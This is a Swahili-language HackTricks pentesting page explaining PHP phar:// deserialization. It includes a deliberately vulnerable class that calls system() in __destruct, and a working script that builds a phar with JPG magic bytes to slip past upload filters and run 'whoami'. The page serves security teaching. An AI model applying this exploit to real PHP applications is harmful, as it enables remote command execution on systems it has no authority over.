hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

phar:// deserialization

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Phar files (PHP Archive) files zina metadata katika muundo wa serialized, hivyo, wakati zinapochambuliwa, hii metadata inakuwa deserialized na unaweza kujaribu kutumia udhaifu wa deserialization ndani ya PHP code.

Jambo bora kuhusu sifa hii ni kwamba deserialization hii itatokea hata kwa kutumia kazi za PHP ambazo hazifanyi eval PHP code kama file_get_contents(), fopen(), file() au file_exists(), md5_file(), filemtime() au filesize().

Hivyo, fikiria hali ambapo unaweza kufanya PHP web ipate ukubwa wa faili isiyo na mipaka kwa kutumia phar:// protocol, na ndani ya code unapata class inayofanana na ifuatayo:

{% code title="vunl.php" %}

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

{% endcode %}

Unaweza kuunda faili la phar ambalo linapoload litafanya kudhulumu darasa hili ili kutekeleza amri zisizo na mipaka kwa kitu kama:

{% code title="create_phar.php" %}

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

{% endcode %}

Kumbuka jinsi bajeti za kichawi za JPG (\xff\xd8\xff) zinavyoongezwa mwanzoni mwa faili la phar ili kupita vizuizi vya kupakia faili vinavyoweza.
Tengeneza faili la test.phar kwa:

php --define phar.readonly=0 create_phar.php

Na kutekeleza amri ya whoami kwa kutumia nambari iliyo hatarini na:

php vuln.php

References

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